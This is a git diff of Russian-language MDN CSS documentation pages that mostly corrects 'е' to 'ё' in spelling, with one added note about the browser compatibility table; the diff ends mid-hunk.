@@ -13,7 +13,7 @@ translation_of: Web/CSS/perspective
 
 
                Точка схождения по умолчанию расположена в центре элемента, но её можно переместить используя свойство {{ cssxref("perspective-origin") }}.
                
 
-
                При использовании данного свойства со значениями отличными от 0 или none создается новый stacking context.
                
+
                При использовании данного свойства со значениями отличными от 0 или none создаётся новый stacking context.
                
 
 
                {{cssinfo}}
                
 
diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html
index 2c12b8b291..b6a95a4f4a 100644
--- a/files/ru/web/css/pointer-events/index.html
+++ b/files/ru/web/css/pointer-events/index.html
@@ -91,7 +91,7 @@ img {
 
 
                Примечание
                
 
-
                Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью pointer-events не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные pointer-events, позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).
                
+
                Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью pointer-events не обязательно означает, что обработчики событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные pointer-events, позволяющие этому ребёнку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает обработчики событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребёнком, ни родителем (он пройдёт через «родительский» на «цели» под ним).
                
 
 
                Мы хотели бы предоставить более тонкий контроль (а не только auto и none) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить pointer-events для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на этой странице вики (не беспокойтесь, мы всё сохраним аккуратно). 
                
 
diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html
index 3baa0548f0..fb6002c2fb 100644
--- a/files/ru/web/css/position/index.html
+++ b/files/ru/web/css/position/index.html
@@ -22,7 +22,7 @@ translation_of: Web/CSS/position
  
              • Элемент с липкой позицией — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} position является sticky. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от auto) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.
                • 
 
              
 
-
              В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в auto, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , auto). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как auto.
              
+
              В большинстве случаев абсолютно позиционированный элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в auto, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно позиционированный элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределённым (то есть , auto). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как auto.
              
 
 
              За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):
              
 
@@ -39,19 +39,19 @@ translation_of: Web/CSS/position
 
 
              
  
              static
              
- 
              Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства top, right, bottom, left и z-index не применяются к данному элементу. Это значение по умолчанию.
              
+ 
              Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своём месте в документе. Свойства top, right, bottom, left и z-index не применяются к данному элементу. Это значение по умолчанию.
              
  
              relative
              
  
              Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно себя на основе значений top, right, bottom и left. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была static.
              
- 
              Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение z-index не auto. Его влияние на элементы table-*-group, table-row, table-column, table-cell и table-caption не определено.
              
+ 
              Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение z-index не auto. Его влияние на элементы table-*-group, table-row, table-column, table-cell и table-caption не определено.
              
  
              absolute
              
- 
              Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями top, right, bottom, и left.
              
+ 
              Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создаётся пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями top, right, bottom, и left.
              
  
              Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение z-index не auto. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.
              
  
              fixed
              
- 
              Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство transform, perspective, или filter, установленное на что-то иное, кроме none (см. CSS Transforms Spec), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с perspective и filter, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями top, right, bottom и left.
              
- 
              Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на каждой странице.
              
+ 
              Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создаётся пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство transform, perspective, или filter, установленное на что-то иное, кроме none (см. CSS Transforms Spec), и в этом случае этот предок ведёт себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с perspective и filter, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями top, right, bottom и left.
              
+ 
              Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на каждой странице.
              
  
              sticky
              
  
              Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего прокручивающего предка и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений top, right, bottom, и left. Смещение не влияет на положение любых других элементов.
              
- 
              Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при overflow равном hidden, scroll, auto или overlay), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. Github issue on W3C CSSWG).
              
+ 
              Это значение всегда создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при overflow равном hidden, scroll, auto или overlay), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. Github issue on W3C CSSWG).
              
 
              
 
 
              Формальный синтаксис
              
@@ -62,7 +62,7 @@ translation_of: Web/CSS/position
 
 
              Относительное позиционирование
              
 
-
              Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.
              
+
              Относительно позиционированные элементы смещены на определённую величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведённом ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.
              
 
 
              HTML
              
 
@@ -134,7 +134,7 @@ span {
 
 
              Фиксированное позиционирование
              
 
-
              Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было transform, perspective, или свойства filter, отличное от none (см. CSS Transforms Spec), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c id="one" фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.
              
+
              Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было transform, perspective, или свойства filter, отличное от none (см. CSS Transforms Spec), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остаётся в том же положении независимо от прокрутки. В приведённом ниже примере окно c id="one" фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.
              
 
 
              HTML
              
 
@@ -196,7 +196,7 @@ span {
 
 
              Липкое позиционирование
              
 
-
              Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...
              
+
              Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечёт заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...
              
 
 
              #one { position: sticky; top: 10px; }
              
 
@@ -322,6 +322,6 @@ dd + dd {
 
              Совместимость с браузером
              
 
 
+Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам запрос на перенос.
 
 
              {{Compat("css.properties.position")}}
              
diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html
index efd1cd0d57..297ef580c4 100644
--- a/files/ru/web/css/radial-gradient()/index.html
+++ b/files/ru/web/css/radial-gradient()/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/radial-gradient()
 ---
 
              {{CSSRef}}
              
 
-
              CSS функция radial-gradient() создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.
              
+
              CSS функция radial-gradient() создаёт картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("<gradient>")}}, который является расширением типа {{cssxref("<image>")}}.
              
 
 
              {{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}
              
 
@@ -19,16 +19,16 @@ translation_of: Web/CSS/radial-gradient()
 
 
              Композиция свойства
              
 
-
              Радиальный градиент задается позицией центра, конечной формой, и двумя или более точками изменения цвета.
              
+
              Радиальный градиент задаётся позицией центра, конечной формой, и двумя или более точками изменения цвета.
              
 
 
              Чтобы создать плавный градиент, функция radial-gradient() рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.
              
 
-
              Точки изменения цвета расположены на виртуальном луче градиента, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является 100%. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.
              
+
              Точки изменения цвета расположены на виртуальном луче градиента, который расширяется горизонтально направо. Позиция точек заданных в процентах рассчитывается относительно пересечения конечной формы таким лучом, что является 100%. Цвет каждой такой формы задаётся цветом на пересечении луча градиента и этой формы.
              
 
 
              Синтаксис
              
 
 
              /* Градиент в центре контейнера,
-   переход от красного к синему и после к зеленому */
+   переход от красного к синему и после к зелёному */
 radial-gradient(circle at center, red 0, blue, green 100%)
              
 
 
              Параметры
              
@@ -108,7 +108,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)
 
 
              {{EmbedLiveSample('Простой_градиент', 120, 120)}}
              
 
-
              Градиент со смещенным центром
              
+
              Градиент со смещённым центром
              
 
 
            
-   
+   
diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html
index 507cc1fa72..36869289dc 100644
--- a/files/ru/web/css/reference/index.html
+++ b/files/ru/web/css/reference/index.html
@@ -160,7 +160,7 @@ div.menu-bar li:hover > ul { display: block; }
  
          • Box-модель
          • Замещаемый элемент
          • Синтаксис определения значений
            • 
- 
          • Сокращенные свойства
            • 
+ 
          • Сокращённые свойства
          • Объединение отступов
          • Модель визуального форматирования
          • Слои
            • 
diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html
index e7dc20f24e..c3160fb98a 100644
--- a/files/ru/web/css/repeating-linear-gradient()/index.html
+++ b/files/ru/web/css/repeating-linear-gradient()/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/repeating-linear-gradient()
 ---
 
            {{CSSRef}}
            
 
-
            CSS функция repeating-linear-gradient() создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.
            
+
            CSS функция repeating-linear-gradient() создаёт изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("<gradient>")}}, являющегося разновидностью типа данных {{cssxref("<image>")}}.
            /* Повторяющийся градиент с углом наклона 45 градусов,
    начинающийся с синего и заканчивающийся красным цветом */
@@ -16,14 +16,14 @@ repeating-linear-gradient(45deg, blue, red);
 repeating-linear-gradient(to left top, blue, red);
 
 /* Повторяющийся градиент идущий от низа к верху,
-   начинающийся с синего, переходящего в зеленый на 40%,
+   начинающийся с синего, переходящего в зелёный на 40%,
    и заканчивающийся красным цветом */
 repeating-linear-gradient(0deg, blue, green 40%, red);
 
            
 
-
            С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.
            
+
            С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведёт к резкому визуальному переходу.
            
 
-
            Повторяющийся линейный градиент (как и любой прочий градиент) не имеет размерностей по умолчанию; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.
            
+
            Повторяющийся линейный градиент (как и любой прочий градиент) не имеет размерностей по умолчанию; т.е. у него нет предопределённого размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.
            
 
            Примечание: Поскольку <gradient> относится к типу данных <image> , он может быть использован только там где применим тип <image>. По этой причине repeating-linear-gradient() не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("<color>")}}.
            
diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html
index dfa5948008..7bb32d2d94 100644
--- a/files/ru/web/css/selector_list/index.html
+++ b/files/ru/web/css/selector_list/index.html
@@ -2,7 +2,7 @@
 title: Список селекторов
 slug: Web/CSS/Selector_list
 tags:
-  - Верстка
+  - Вёрстка
   - список селекторов
 translation_of: Web/CSS/Selector_list
 ---
@@ -26,14 +26,14 @@ div {
 
 
            Группирование на одной линии
            
 
-
            Группирование селекторов списком, разделенным запятой, на одной строк.
            
+
            Группирование селекторов списком, разделённым запятой, на одной строк.
            
 
 
            h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
 
            
 
 
            Мультистрочное группирование
            
 
-
            Группирование селекторов списком, разделенным запятой, на нескольких строках.
            
+
            Группирование селекторов списком, разделённым запятой, на нескольких строках.
            
 
 
            #main,
 .content,
@@ -54,7 +54,7 @@ h3 { font-family: sans-serif }
            
 
 
            Это происходит потому, что один неподдерживаемый селектор в списке селекторов делает недействительным все правило.
            
 
-
            Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счет этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.
            
+
            Есть способ исправить это - нужно использовать селектор {{CSSxRef(":is", ":is()")}}, который просто игнорирует недопустимые селекторы в своих аргумента, но за счёт этого, все селекторы имеют одинаковую спецификацию, так как {{CSSxRef(":is", ":is()")}} вычисляет спецификацию.
            
 
 
            h1 { font-family: sans-serif }
 h2:maybe-unsupported { font-family: sans-serif }
diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html
index 5ac6911db1..90738acb1b 100644
--- a/files/ru/web/css/shorthand_properties/index.html
+++ b/files/ru/web/css/shorthand_properties/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/Shorthand_properties
 ---
 
            {{cssref}}
            
 
-
            Сокращенные свойства - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращенное свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.
            
+
            Сокращённые свойства - это такие CSS свойства, которые позволяют одновременно устанавливать значения нескольких других свойств. Используя сокращённое свойство, вы можете писать более сжатые (и часто более читаемые) таблицы стилей, экономя время и энергию.
            
 
 
            The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.
            
 
diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html
index 42adadbf3a..535a64f460 100644
--- a/files/ru/web/css/specificity/index.html
+++ b/files/ru/web/css/specificity/index.html
@@ -38,7 +38,7 @@ translation_of: Web/CSS/Specificity
 
 
            Важное исключение из правил - !important
            
 
-
            Когда при объявлении стиля используется модификатор !important, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор !important не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку !important усложняет отладку, нарушая естественное каскадирование ваших стилей, он не приветствуется и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором !important, то применен будет стиль с большей специфичностью.
            
+
            Когда при объявлении стиля используется модификатор !important, это объявление получает наивысший приоритет среди всех прочих объявлений. Хотя технически модификатор !important не имеет со специфичностью ничего общего, он непосредственно на неё влияет. Поскольку !important усложняет отладку, нарушая естественное каскадирование ваших стилей, он не приветствуется и следует избегать его использования. Если к элементу применимы два взаимоисключающих стиля с модификатором !important, то применён будет стиль с большей специфичностью.
            
 
 
            Несколько практических советов:
            
 
@@ -69,7 +69,7 @@ span { { #someElement p {
     color: blue;
@@ -96,7 +96,7 @@ p.awesome .awesome Не исключение - :not()
 
-
            Отрицающий псевдокласс :not не учитывается как псевдокласс при расчете специфичности. Однако селекторы, расположенные внутри :not, при подсчете количества по типам селекторов рассматриваются как обычные селекторы и учитываются.
            
+
            Отрицающий псевдокласс :not не учитывается как псевдокласс при расчёте специфичности. Однако селекторы, расположенные внутри :not, при подсчёте количества по типам селекторов рассматриваются как обычные селекторы и учитываются.
            
 
 
            Следующий фрагмент CSS ...
            
 
@@ -138,7 +138,7 @@ div:not(.outer) p {
 }
 
            
 
-
            ... примененный к такому HTML ...
            
+
            ... применённый к такому HTML ...
            
 
 
            <div class="outer">
   <p>Это div.outer</p>
@@ -168,7 +168,7 @@ div:not(.outer) p {
 }
 
            
 
-
            ... примененные к нижеследующей разметке ...
            
+
            ... применённые к нижеследующей разметке ...
            
 
 
            <p id="foo">Это пример.</p>
 
            
@@ -229,7 +229,7 @@ h1 {
 
 
            Вот заголовок!
            
 
-
            Потому что селектор h1 непосредственно соответствует элементу, а стиль, задающий зеленый цвет, всего лишь унаследован от родителя.
            
+
            Потому что селектор h1 непосредственно соответствует элементу, а стиль, задающий зелёный цвет, всего лишь унаследован от родителя.
            
 
 
            Дополнительная информация
            
 
diff --git a/files/ru/web/css/syntax/index.html b/files/ru/web/css/syntax/index.html
index ead0688e79..18803ab95c 100644
--- a/files/ru/web/css/syntax/index.html
+++ b/files/ru/web/css/syntax/index.html
@@ -12,12 +12,12 @@ original_slug: Web/CSS/Синтаксис
 
 
              
  
            • Свойство (property) — идентификатор действия, которое будет применено к элементу (например, цвет, или размер границы, и т.д.).
              • 
- 
            • Значение (value) — описывает, как именно свойство будет обработано браузером. Каждое свойство имеет набор допустимых значений, определенных формальными правилами, а также семантический смысл, реализованный движком браузера.
              • 
+ 
            • Значение (value) — описывает, как именно свойство будет обработано браузером. Каждое свойство имеет набор допустимых значений, определённых формальными правилами, а также семантический смысл, реализованный движком браузера.
              • 
 
            
 
 
            Объявления CSS
            
 
-
            Задание CSS свойствам определенных значений — это основная функция CSS. Пара свойство-значение называется объявлением. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.
            
+
            Задание CSS свойствам определённых значений — это основная функция CSS. Пара свойство-значение называется объявлением. Работа CSS движка заключается в поиске соответствий между объявлениями стилей и элементом на странице, чтобы правильно отобразить и форматировать этот элемент.
            
 
 
            И свойство, и значения регистрозависимы. Пара свойство-значение разделяется двоеточием, ':' (U+003A COLON), а пробелы до, между и после свойства или значения игнорируются.
            
 
@@ -31,11 +31,11 @@ original_slug: Web/CSS/Синтаксис
 
 
            css syntax - block.png
            
 
-
            Такие блоки называются блоками объявлений, и объявления в них разделяются точкой с запятой, ';' (U+003B SEMICOLON). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить ее для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.
            
+
            Такие блоки называются блоками объявлений, и объявления в них разделяются точкой с запятой, ';' (U+003B SEMICOLON). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить её для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.
            
 
 
            css syntax - declarations block.png
            
 
-
            Содержимое блока объявлений CSS, т. е. объявления, разделенные точкой с запятой. Блок объявлений может быть помещен внутри атрибута style HTML-документа без фигурных скобок.
            
+
            Содержимое блока объявлений CSS, т. е. объявления, разделённые точкой с запятой. Блок объявлений может быть помещён внутри атрибута style HTML-документа без фигурных скобок.
            
 
 
            CSS rulesets
            
 
diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html
index 6d15f3733d..f892300dc1 100644
--- a/files/ru/web/css/time/index.html
+++ b/files/ru/web/css/time/index.html
@@ -2,7 +2,7 @@
 title: 
            
-   
+   
diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html
index 2467369481..4ae8b7251b 100644
--- a/files/ru/web/css/used_value/index.html
+++ b/files/ru/web/css/used_value/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/used_value
 
            Используемое значение - CSS свойство, которое используется, когда все вычисления уже выполнены, смотрите вычисленное значение.
            
 
 
            
-
            После того как {{glossary("user agent")}} закончил свои расчеты каждое свойство CSS имеет своё значение. Используемые значения  (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов  (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.
            
+
            После того как {{glossary("user agent")}} закончил свои расчёты каждое свойство CSS имеет своё значение. Используемые значения  (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов  (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.
            
 
 
            
 
            Замечание:  {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API возвращает решённое значение, которое может быть численным значением или используемым значением, в зависимости от свойства.
            
diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html
index 2b9b17f8ae..ed33dd0608 100644
--- a/files/ru/web/css/user-select/index.html
+++ b/files/ru/web/css/user-select/index.html
@@ -2,7 +2,7 @@
 title: user-select
 slug: Web/CSS/user-select
 tags:
-  - Верстка
+  - Вёрстка
   - Свойство
 translation_of: Web/CSS/user-select
 ---
@@ -62,7 +62,7 @@ user-select: unset;
  
            text
            
  
            Текст может быть выбран пользователем.
            
  
            all
            
- 
            В HTML-редакторе, если двойной клик или контекстный клик произошел во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.
            
+ 
            В HTML-редакторе, если двойной клик или контекстный клик произошёл во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.
            
  
            contain
            
  
            Позволяет начать выбор внутри элемента; однако, выбор будет содержаться внутри границ данного элемента.
            
  
            element{{non-standard_inline}} (IE-specific alias)
            
diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html
index 65fd104311..064d0fda66 100644
--- a/files/ru/web/css/using_css_custom_properties/index.html
+++ b/files/ru/web/css/using_css_custom_properties/index.html
@@ -35,12 +35,12 @@ translation_of: Web/CSS/Using_CSS_custom_properties
 
 
 
            
-
            Note: В более ранней спецификации префикс для переменных был var- , но позже был изменен на --. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})
            
+
            Note: В более ранней спецификации префикс для переменных был var- , но позже был изменён на --. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})
            
 
            
 
 
            Первый шаг с CSS Переменными
            
 
-
            Начнем с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:
            
+
            Начнём с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:
            
 
 
            
 
            .one {
diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html
index 2ff298b02e..2a4ae09c70 100644
--- a/files/ru/web/css/vertical-align/index.html
+++ b/files/ru/web/css/vertical-align/index.html
@@ -89,7 +89,7 @@ p {
     <td style="vertical-align: middle">middle</td>
     <td style="vertical-align: bottom">bottom</td>
     <td>
-      <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо нее появится нечто еще более причудливое и необъяснимое.</p>
+      <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p>
 <p>Существует и другая теория, согласно которой это уже случилось.</p>
            
 
 
            
   
    
            
 
 
 
 Ratio1_1.85.png
    185/100 = 91/50
            
     (нецелые делимые и делители не допускаются)            		Наиболее распространенный видео-формат в 1960-х.Наиболее распространённый видео-формат в 1960-х.
   
            
   
            
    Ratio1_2.39.png
  
  
  
  
  
 
 
 
 
            
    {{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }}
    {{ Spec2('CSS3 Selectors') }}Определено поведение в отношении пространств имен и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементовОпределено поведение в отношении пространств имён и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов
   
            
   
            
    {{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}
            
diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html
index 916c5d4263..cb52d6e9b0 100644
--- a/files/ru/web/css/will-change/index.html
+++ b/files/ru/web/css/will-change/index.html
@@ -26,16 +26,16 @@ will-change: unset;
              
  
            • 
-  
              Не применяйте will-change к большому числу элементов. Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжелые оптимизации ссылающиеся на will-change используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.
              
+  
